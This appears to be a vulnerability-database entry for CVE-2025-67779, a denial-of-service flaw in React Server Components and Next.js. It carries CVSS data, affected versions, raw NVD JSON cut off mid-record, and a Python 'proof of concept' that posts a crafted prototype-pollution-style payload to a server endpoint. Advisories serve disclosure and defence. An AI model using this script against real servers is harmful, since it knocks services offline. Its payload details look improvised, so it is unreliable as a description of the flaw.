Security Vulnerability Report
中文
CVE-2025-67779 CVSS 7.5 HIGH

CVE-2025-67779

Published: 2025-12-12 00:15:47
Last Modified: 2025-12-12 19:16:04

Description

It was found that the fix addressing CVE-2025-55184 in React Server Components was incomplete and does not prevent a denial of service attack in a specific case. React Server Components versions 19.0.2, 19.1.3 and 19.2.2 are affected, allowing unsafe deserialization of payloads from HTTP requests to Server Function endpoints. This can cause an infinite loop that hangs the server process and may prevent future HTTP requests from being served.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:facebook:react:19.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:facebook:react:19.1.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:facebook:react:19.2.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
React Server Components < 19.0.2
React Server Components 19.0.2
React Server Components 19.1.3
React Server Components 19.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67779 PoC - React Server Components DoS # This PoC demonstrates the infinite loop caused by unsafe deserialization import requests import json TARGET_URL = "http://target-server.com/react-server-function-endpoint" def create_malicious_payload(): """ Create a malicious payload that triggers infinite loop in React Server Components The incomplete fix for CVE-2025-55184 allows unsafe deserialization """ # This payload exploits the unsafe deserialization in Server Function endpoints # It triggers a condition that causes infinite loop in the deserialization process payload = { "__proto__": { "constructor": { "prototype": { "isLoop": True } } }, "action": "server_function", "args": [ { "$typeof": "Symbol", "value": "react.element", "ref": { "$$typeof": "Symbol(react.async_iterator)", "next": { "$$typeof": "Symbol(react.context)" } } } ] } return payload def exploit(): """ Send malicious payload to trigger DoS """ payload = create_malicious_payload() headers = { "Content-Type": "application/json", "Accept": "text/x-component", "RSC-Action": "1" } try: print(f"[*] Sending malicious payload to {TARGET_URL}") response = requests.post( TARGET_URL, data=json.dumps(payload), headers=headers, timeout=10 ) print(f"[*] Response status: {response.status_code}") print(f"[*] If server hangs, the exploit was successful") except requests.exceptions.Timeout: print("[+] Server is not responding - DoS successful!") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67779", "sourceIdentifier": "[email protected]", "published": "2025-12-12T00:15:46.797", "lastModified": "2025-12-12T19:16:03.773", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "It was found that the fix addressing CVE-2025-55184 in React Server Components was incomplete and does not prevent a denial of service attack in a specific case. React Server Components versions 19.0.2, 19.1.3 and 19.2.2 are affected, allowing unsafe deserialization of payloads from HTTP requests to Server Function endpoints. This can cause an infinite loop that hangs the server process and may prevent future HTTP requests from being served."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "FD201828-1BBF-45C9-B769-8C277F2227FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.1.3:*:*:*:*:*:*:*", "matchCriteriaId": "23F46EFD-6DF1-400D-B707-6013722D63A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "E8B38D46-3F8A-496D-9D1E-60BEAAFA8358"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "13.3.0", "versionEndExcluding": "14.2.35", "matchCriteriaId": "6E0DE913-817F-40D2-BC98-0D610CCDE02A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.0.7", "matchCriteriaId": "7F89ACED-432F-4789-A368-96D4E28DEE34"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.11", "matchCriteriaId": "99287D38-84D1-470A-96EF-B1D851552139"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.2.0", "versionEndExcluding": "15.2.8", "matchCriteriaId": "4E4E7989-19E3-44C5-B292-54C73FF3F356"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.3.0", "versionEndExcluding": "15.3.8", "matchCriteriaId": "78D397D2-B678-4463-85AB-8887554166C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.4.0", "versionEndExcluding": "15.4.10", "matchCriteriaId": "137455D1-FCE0-4A58-A479-E7CA39EA969D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.5.0", "versionEndExcluding": "15.5.9", "matchCriteriaId": "7EFB67E0-24A1-4013-A654-C3EEAA2702DD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.10", "matchCriteriaId": "009539CB-1F6D-446A-B581-1ABC70B10154"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:-:*:*:*:node.js:*:*", "matchCriteriaId": "3ED7F693-8012-4F88-BC71-CF108E20664A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary0:*:*:*:node.js:*:*", "matchCriteriaId": "40EE98AC-754A-4FD9-B51A-9E2674584FD9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary1:*:*:*:node.js:*:*", "matchCriteriaId": "13B41C54-AF21-4637-A852-F997635B4E83"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary10:*:*:*:node.js:*:*", "matchCriteriaId": "91B41697-2D70-488D-A5C3-CB9D435560CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary11:*:*:*:node.js:*:*", "matchCriteriaId": "7D43DB84-7BCF-429B-849A-7189EC1922D0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary12:*:*:*:node.js:*:*", "matchCriteriaId": "CEC2346B-8DBD-4D53-9866-CFBDD3AACEF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary13:*:*:*:node.js:*:*", "matchCriteriaId": "2BC95097-8CA6-42FE-98D7-F968E37C11B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary14:*:*:*:node.js:*:*", "matchCriteriaId": "4F8FA85C-1200-4FD2-B5D7-906300748BD4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:v ... (truncated)